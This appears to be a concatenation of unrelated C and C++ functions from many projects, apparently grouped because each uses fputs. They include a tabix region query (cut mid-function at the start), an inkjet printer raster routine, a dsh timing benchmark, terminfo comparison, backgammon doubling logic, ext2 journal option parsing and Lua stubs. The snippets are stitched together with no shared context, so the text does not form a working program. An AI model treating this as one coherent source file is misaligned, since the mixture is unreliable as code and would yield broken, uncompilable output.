source of errors: new VCF is used with an old index _stat64(fnidx, &stat_tbi); _stat64(argv[optind], &stat_vcf); if ( force==0 && stat_vcf.st_mtime > stat_tbi.st_mtime ) { fprintf(stderr, "[tabix] the index file either does not exist or is older than the vcf file. Please reindex.\n"); free(fnidx); return 1; } } free(fnidx); if ((t = ti_open(argv[optind], 0)) == 0) { fprintf(stderr, "[main] fail to open the data file.\n"); return 1; } if ( print_only_header ) { ti_iter_t iter; const char *s; int len; const ti_conf_t *idxconf; if (ti_lazy_index_load(t) < 0 && bed_reg == 0) { fprintf(stderr,"[tabix] failed to load the index file.\n"); return 1; } idxconf = ti_get_conf(t->idx); iter = ti_query(t, 0, 0, 0); while ((s = ti_read(t, iter, &len)) != 0) { if ((int)(*s) != idxconf->meta_char) break; fputs(s, stdout); fputc('\n', stdout); } ti_iter_destroy(iter); return 0; } if (strcmp(argv[optind+1], ".") == 0) { // retrieve all ti_iter_t iter; const char *s; int len; iter = ti_query(t, 0, 0, 0); while ((s = ti_read(t, iter, &len)) != 0) { fputs(s, stdout); fputc('\n', stdout); } ti_iter_destroy(iter); } else { // retrieve from specified regions int i, len; ti_iter_t iter; const char *s; const ti_conf_t *idxconf; if (ti_lazy_index_load(t) < 0 && bed_reg == 0) { fprintf(stderr,"[tabix] failed to load the index file.\n"); return 1; } idxconf = ti_get_conf(t->idx); if ( print_header ) { // If requested, print the header lines here iter = ti_query(t, 0, 0, 0); while ((s = ti_read(t, iter, &len)) != 0) { if ((int)(*s) != idxconf->meta_char) break; fputs(s, stdout); fputc('\n', stdout); } ti_iter_destroy(iter); } if (bed_reg) { extern int bed_overlap(const void *_h, const char *chr, int beg, int end); extern void *bed_read(const char *fn); extern void bed_destroy(void *_h); const ti_conf_t *conf_ = idxconf? idxconf : &conf; // use the index file if available void *bed = bed_read(argv[optind+1]); // load the BED file ti_interval_t intv; if (bed == 0) { fprintf(stderr, "[main] fail to read the BED file.\n"); return 1; } iter = ti_query(t, 0, 0, 0); while ((s = ti_read(t, iter, &len)) != 0) { int c; ti_get_intv(conf_, len, (char*)s, &intv); c = *intv.se; *intv.se = '\0'; if (bed_overlap(bed, intv.ss, intv.beg, intv.end)) { *intv.se = c; puts(s); } *intv.se = c; } ti_iter_destroy(iter); bed_destroy(bed); } else { for (i = optind + 1; i < argc; ++i) { int tid, beg, end; if (ti_parse_region(t->idx, argv[i], &tid, &beg, &end) == 0) { iter = ti_queryi(t, tid, beg, end); while ((s = ti_read(t, iter, &len)) != 0) { fputs(s, stdout); fputc('\n', stdout); } ti_iter_destroy(iter); } // else fprintf(stderr, "[main] invalid region: unknown target name or minus interval.\n"); } } } ti_close(t); } return 0; }
static void cdj_block() { int i,byteoff,j; int cntc,cntm,cnty,cc,mm,yy; UCHAR cbuf[1024],mbuf[1024],ybuf[1024],v; LPUCHAR p,pc,pm,py,pk; LPDC lpdc=&SysDc; if(fDither) DitherRGB(lpdc); // dither RGB to CMYK for (i=lpdc->top;i<lpdc->bottom && i<printer->ypixel;i++) { if(fDither && i<=MaxRastY) { byteoff =(i-lpdc->top)*RastWidthByte; cc = mm = yy = RastWidthByte; pc = rasts[0]+byteoff; pm = rasts[1]+byteoff; py = rasts[2]+byteoff; pk = rasts[3]+byteoff; for (j=0;j<cc;j++) { v = pk[j]; pc[j] |= v; pm[j] |= v; py[j] |= v; } p = rasts[0]+byteoff; while (cc>0&&p[cc-1]==0) cc--; if (cc>0) cntc = RLEcompress((ULONG *)p,(ULONG *)(p+cc),cbuf); else cntc=0; p = rasts[1]+byteoff; while (mm>0&&p[mm-1]==0) mm--; if (mm>0) { cntm = RLEcompress((ULONG *)p,(ULONG *)(p+mm),mbuf); } else cntm=0; p = rasts[2]+byteoff; while (yy>0&&p[yy-1]==0) yy--; if (yy>0) { cnty = RLEcompress((ULONG *)p,(ULONG *)(p+yy),ybuf); } else cnty=0; if (cc==0&&mm==0&&yy==0) { blanklines++; continue; } for(;blanklines;blanklines--) { fputs("\033*bW",prnstr); } fprintf(prnstr, "\033*b%dV", cntc); //cyan fwrite(cbuf,1,cntc,prnstr); fprintf(prnstr, "\033*b%dV", cntm); //magenta fwrite(mbuf,1,cntm,prnstr); fprintf(prnstr, "\033*b%dW", cnty); //yellow fwrite(ybuf,1,cnty,prnstr); } else blanklines++; } /*--- i ---*/ /*----------------- for(;blanklines;blanklines--) { fputs("\033*bW",prnstr); } -------*/ memset(rasts[4],0xff,RastSize); // clear RGB buffer } /* cdj_block */
int main(int argc, char *argv[]) { int c; int tflag = 0; int fflag = 0; int rflag = 0; int cflag = 0; char *ffile; while ((c = getopt (argc, argv, "ctrf:")) != EOF) { switch (c) { case 't': tflag++; break; case 'r': rflag++; break; case 'f': ffile = optarg; fflag++; break; case 'c': cflag++; break; } } if (tflag) { int i; struct timeval tvBegin, tvEnd, tvDiff; gettimeofday(&tvBegin, NULL); for (i = 0; i < 100; i++) { system("./dsh -s cccwork2.wpi.edu -p 4444 -c \"test\""); } //system("./dsh -s cccwork2.wpi.edu -c \"close\""); gettimeofday(&tvEnd, NULL); timeval_subtract(&tvDiff, &tvEnd, &tvBegin); FILE * pFile; pFile = fopen ("setupData.txt","a"); if (pFile!=NULL) { fprintf(pFile, "%ld.%06ld\n", tvDiff.tv_sec, tvDiff.tv_usec); fclose (pFile); } printf("%ld.%06ld\n", tvDiff.tv_sec, tvDiff.tv_usec); } else if (rflag) { int i; struct timeval tvBegin, tvEnd, tvDiff; FILE * pFile; pFile = fopen ("thruData.txt","a"); for (i = 0; i < 100; i++) { gettimeofday(&tvBegin, NULL); system("./dsh -s cccwork2.wpi.edu -p 4444 -c \"cat testdata.dat\""); gettimeofday(&tvEnd, NULL); timeval_subtract(&tvDiff, &tvEnd, &tvBegin); fprintf(pFile, "%ld.%06ld\n", tvDiff.tv_sec, tvDiff.tv_usec); } //system("./dsh -s cccwork2.wpi.edu -c \"close\""); fclose (pFile); //printf("%ld.%06ld\n", tvDiff.tv_sec, tvDiff.tv_usec); } else if (fflag) { char *filename, *pfilename; int setup = 0; fstream inStream; printf("here is %s\n", ffile); if (strcmp(ffile, "setup") == 0) { filename = "setupData.txt"; pfilename = "fsetupData.txt"; setup++; } else { filename = "thruData.txt"; pfilename = "fthruData.txt"; } inStream.open(filename, ios :: in); if(inStream.fail()) { //return false; cout << "couldn't open\n"; return 0; } double inNum; FILE *pFile; pFile = fopen(pfilename, "a"); if ( pFile != NULL) { double number; char numtxt[80]; printf("here"); int i; for (i = 0; i < 100; i++) { inStream >> inNum; if (setup) inNum = inNum/100; else inNum = inNum*100; sprintf(numtxt,"%.8f",inNum); puts(numtxt); fputs ( numtxt, pFile ); /* write the line */ } fclose(pFile); } inStream.close(); }
int XmlWriteHeader (FILE *file) { return fputs ("<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<TrueCrypt64>", file); }
void Sys_Print( const char *msg ) { fputs(msg, stderr); }
static void compare_predicate(PredType type, PredIdx idx, const char *name) /* predicate function to use for entry difference reports */ { register ENTRY *e1 = &entries[0]; register ENTRY *e2 = &entries[1]; char buf1[MAX_STRING], buf2[MAX_STRING]; int b1, b2; int n1, n2; char *s1, *s2; switch (type) { case CMP_BOOLEAN: b1 = e1->tterm.Booleans[idx]; b2 = e2->tterm.Booleans[idx]; switch (compare) { case C_DIFFERENCE: if (!(b1 == ABSENT_BOOLEAN && b2 == ABSENT_BOOLEAN) && b1 != b2) (void) printf("\t%s: %s%s%s.\n", name, dump_boolean(b1), bool_sep, dump_boolean(b2)); break; case C_COMMON: if (b1 == b2 && b1 != ABSENT_BOOLEAN) (void) printf("\t%s= %s.\n", name, dump_boolean(b1)); break; case C_NAND: if (b1 == ABSENT_BOOLEAN && b2 == ABSENT_BOOLEAN) (void) printf("\t!%s.\n", name); break; } break; case CMP_NUMBER: n1 = e1->tterm.Numbers[idx]; n2 = e2->tterm.Numbers[idx]; dump_numeric(n1, buf1); dump_numeric(n2, buf2); switch (compare) { case C_DIFFERENCE: if (!((n1 == ABSENT_NUMERIC && n2 == ABSENT_NUMERIC)) && n1 != n2) (void) printf("\t%s: %s, %s.\n", name, buf1, buf2); break; case C_COMMON: if (n1 != ABSENT_NUMERIC && n2 != ABSENT_NUMERIC && n1 == n2) (void) printf("\t%s= %s.\n", name, buf1); break; case C_NAND: if (n1 == ABSENT_NUMERIC && n2 == ABSENT_NUMERIC) (void) printf("\t!%s.\n", name); break; } break; case CMP_STRING: s1 = e1->tterm.Strings[idx]; s2 = e2->tterm.Strings[idx]; switch (compare) { case C_DIFFERENCE: if (capcmp(idx, s1, s2)) { dump_string(s1, buf1); dump_string(s2, buf2); if (strcmp(buf1, buf2)) (void) printf("\t%s: %s, %s.\n", name, buf1, buf2); } break; case C_COMMON: if (s1 && s2 && !capcmp(idx, s1, s2)) (void) printf("\t%s= '%s'.\n", name, TIC_EXPAND(s1)); break; case C_NAND: if (!s1 && !s2) (void) printf("\t!%s.\n", name); break; } break; case CMP_USE: /* unlike the other modes, this compares *all* use entries */ switch (compare) { case C_DIFFERENCE: if (!useeq(e1, e2)) { (void) fputs("\tuse: ", stdout); print_uses(e1, stdout); fputs(", ", stdout); print_uses(e2, stdout); fputs(".\n", stdout); } break; case C_COMMON: if (e1->nuses && e2->nuses && useeq(e1, e2)) { (void) fputs("\tuse: ", stdout); print_uses(e1, stdout); fputs(".\n", stdout); } break; case C_NAND: if (!e1->nuses && !e2->nuses) (void) printf("\t!use.\n"); break; } } }
dblgood () { register int n; /* accumulated judgment */ register int OFFC = *offptr; /* no. of computer's men off */ register int OFFO = *offopp; /* no. of player's men off */ #ifdef DEBUG register int i; if (trace == NULL) trace = fopen ("bgtrace","w"); #endif /* get real pip value */ n = eval()*cturn; #ifdef DEBUG fputs ("\nDoubles:\nBoard: ",trace); for (i = 0; i < 26; i++) fprintf (trace," %d",board[i]); fprintf (trace,"\n\tpip = %d, ",n); #endif /* below adjusts pip value * according to position * judgments */ /* check men moving off * board */ if (OFFC > -15 || OFFO > -15) { if (OFFC < 0 && OFFO < 0) { OFFC += 15; OFFO += 15; n +=((OFFC-OFFO)*7)/2; } else if (OFFC < 0) { OFFC += 15; n -= OFFO*7/2; } else if (OFFO < 0) { OFFO += 15; n += OFFC*7/2; } if (OFFC < 8 && OFFO > 8) n -= 7; if (OFFC < 10 && OFFO > 10) n -= 7; if (OFFC < 12 && OFFO > 12) n -= 7; if (OFFO < 8 && OFFC > 8) n += 7; if (OFFO < 10 && OFFC > 10) n += 7; if (OFFO < 12 && OFFC > 12) n += 7; n += ((OFFC-OFFO)*7)/2; } #ifdef DEBUG fprintf (trace,"off = %d, ",n); #endif /* see if men are trapped */ n -= freemen(bar); n += freemen(home); n += trapped(home,-cturn); n -= trapped(bar,cturn); #ifdef DEBUG fprintf (trace,"free = %d\n",n); fprintf (trace,"\tOFFC = %d, OFFO = %d\n",OFFC,OFFO); fflush (trace); #endif /* double if 2-3 moves ahead */ if (n > 10+rnum(7)) return(1); return (0); }
/**this function write to file (log) the last buffer sent. **Parameter: FILE* src - a pointer for a file descriptor to handle file. int type - first, last or middle byte of info, ** unsigned char byte - the byte to write to file **/ void writeToFile(FILE* src ,char* str){ if ( (src = fopen("/ISG/uart/port4.txt", "a") ) < 0) {exit(FILE_ERROR);} if( (fputs(str, src) ) <0 ) {exit(-11);} fclose(src); }
void glfw_error_callback (int error, const char* description) { fputs (description, stderr); gl_log_err ("%s\n", description); }
void print_icmp_header(struct packet* p) { fputs(p->icmpmsg, stdout); }
void error_handling(char *message) { fputs(message,stderr); fputc('\n',stderr); exit(1); }
static void error_callback(int error, const char* description) { fputs(description, stderr); }
void t_page(int n) /* do whatever new page functions */ { int m, i; char buf[1024], *bp; pgnum[np++] = n; pgadr[np] = ftell(fp); if (np > npmax) npmax = np; if (output == 0) { output = in_olist(n); t_init(1); return; } /* have just printed something, and seen p<n> for next one */ putpage(); fflush(stdout); if (nowait) return; next: for (bp = buf; (*bp = readch()); ) if (*bp++ == '\n' || bp >= &buf[sizeof buf - 1]) break; *bp = 0; switch (buf[0]) { case 0: done(); break; case '\n': output = in_olist(n); t_init(1); return; case '!': callunix(&buf[1]); fputs("!\n", stderr); break; case 'e': erase = 1 - erase; break; case 'w': wflag = 1 - wflag; break; case 'a': aspect = atof(&buf[1]); break; case '-': case 'p': m = atoi(&buf[1]) + 1; if (fp == stdin) { fputs("you can't; it's not a file\n", stderr); break; } if (np - m <= 0) { fputs("too far back\n", stderr); break; } np -= m; fseek(fp, pgadr[np], 0); output = 1; t_init(1); return; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': m = atoi(&buf[0]); for (i = 0; i < npmax; i++) if (m == pgnum[i]) break; if (i >= npmax || fp == stdin) { fputs("you can't\n", stderr); break; } np = i + 1; fseek(fp, pgadr[np], 0); output = 1; t_init(1); return; case 'o': outlist(&buf[1]); output = 0; t_init(1); return; case '?': fputs("!cmd unix cmd\n", stderr); fputs("p print this page again\n", stderr); fputs("-n go back n pages\n", stderr); fputs("n print page n (previously printed)\n", stderr); fputs("o... set the -o output list to ...\n", stderr); fputs("en n=0 -> don't erase; n=1 -> erase\n", stderr); fputs("an sets aspect ratio to n\n", stderr); break; default: fputs("?\n", stderr); break; } goto next; }
void hcache_done() { FILE * f; HCACHEDATA * c; int header_count = 0; const char * hcachename; int maxage; if ( !hcachehash ) return; if ( !( hcachename = cache_name() ) ) goto cleanup; if ( !( f = fopen( hcachename, "wb" ) ) ) goto cleanup; maxage = cache_maxage(); /* Print out the version. */ write_netstring( f, CACHE_FILE_VERSION ); c = hcachelist; for ( c = hcachelist; c; c = c->next ) { LISTITER iter; LISTITER end; char time_secs_str[ 30 ]; char time_nsecs_str[ 30 ]; char age_str[ 30 ]; char includes_count_str[ 30 ]; char hdrscan_count_str[ 30 ]; if ( maxage == 0 ) c->age = 0; else if ( c->age > maxage ) continue; sprintf( includes_count_str, "%lu", (long unsigned)list_length( c->includes ) ); sprintf( hdrscan_count_str, "%lu", (long unsigned)list_length( c->hdrscan ) ); sprintf( time_secs_str, "%lu", (long unsigned)c->time.secs ); sprintf( time_nsecs_str, "%lu", (long unsigned)c->time.nsecs ); sprintf( age_str, "%lu", (long unsigned)c->age ); write_netstring( f, CACHE_RECORD_HEADER ); write_netstring( f, object_str( c->boundname ) ); write_netstring( f, time_secs_str ); write_netstring( f, time_nsecs_str ); write_netstring( f, age_str ); write_netstring( f, includes_count_str ); for ( iter = list_begin( c->includes ), end = list_end( c->includes ); iter != end; iter = list_next( iter ) ) write_netstring( f, object_str( list_item( iter ) ) ); write_netstring( f, hdrscan_count_str ); for ( iter = list_begin( c->hdrscan ), end = list_end( c->hdrscan ); iter != end; iter = list_next( iter ) ) write_netstring( f, object_str( list_item( iter ) ) ); fputs( "\n", f ); ++header_count; } write_netstring( f, CACHE_RECORD_END ); if ( DEBUG_HEADER ) printf( "hcache written to %s. %d dependencies, %.0f%% hit rate\n", hcachename, header_count, queries ? 100.0 * hits / queries : 0 ); fclose ( f ); cleanup: for ( c = hcachelist; c; c = c->next ) { list_free( c->includes ); list_free( c->hdrscan ); object_free( c->boundname ); } hcachelist = 0; if ( hcachehash ) hashdone( hcachehash ); hcachehash = 0; }
static void cdj_FF() { fputs("\033*rbC\033E", prnstr); fputs("\033&l0H",prnstr); //FORM FEED blanklines = 0; }
void parse_journal_opts(const char *opts) { char *buf, *token, *next, *p, *arg; int len; int journal_usage = 0; len = strlen(opts); buf = malloc(len+1); if (!buf) { fputs(_("Couldn't allocate memory to parse journal " "options!\n"), stderr); exit(1); } strcpy(buf, opts); for (token = buf; token && *token; token = next) { p = strchr(token, ','); next = 0; if (p) { *p = 0; next = p+1; } arg = strchr(token, '='); if (arg) { *arg = 0; arg++; } #if 0 printf("Journal option=%s, argument=%s\n", token, arg ? arg : "NONE"); #endif if (strcmp(token, "device") == 0) { journal_device = blkid_get_devname(NULL, arg, NULL); if (!journal_device) { if (arg) fprintf(stderr, _("\nCould not find " "journal device matching %s\n"), arg); journal_usage++; continue; } } else if (strcmp(token, "size") == 0) { if (!arg) { journal_usage++; continue; } journal_size = strtoul(arg, &p, 0); if (*p) journal_usage++; } else if (!strcmp(token, "location")) { if (!arg) { journal_usage++; continue; } journal_location_string = strdup(arg); } else if (strcmp(token, "v1_superblock") == 0) { journal_flags |= EXT2_MKJOURNAL_V1_SUPER; continue; } else journal_usage++; } if (journal_usage) { fputs(_("\nBad journal options specified.\n\n" "Journal options are separated by commas, " "and may take an argument which\n" "\tis set off by an equals ('=') sign.\n\n" "Valid journal options are:\n" "\tsize=<journal size in megabytes>\n" "\tdevice=<journal device>\n" "\tlocation=<journal location>\n\n" "The journal size must be between " "1024 and 10240000 filesystem blocks.\n\n"), stderr); free(buf); exit(1); } free(buf); }
LUA_API lua_State *lua_newstate(lua_Alloc f, void *ud) { UNUSED(f); UNUSED(ud); fputs("Must use luaL_newstate() for 64 bit target\n", stderr); return NULL; }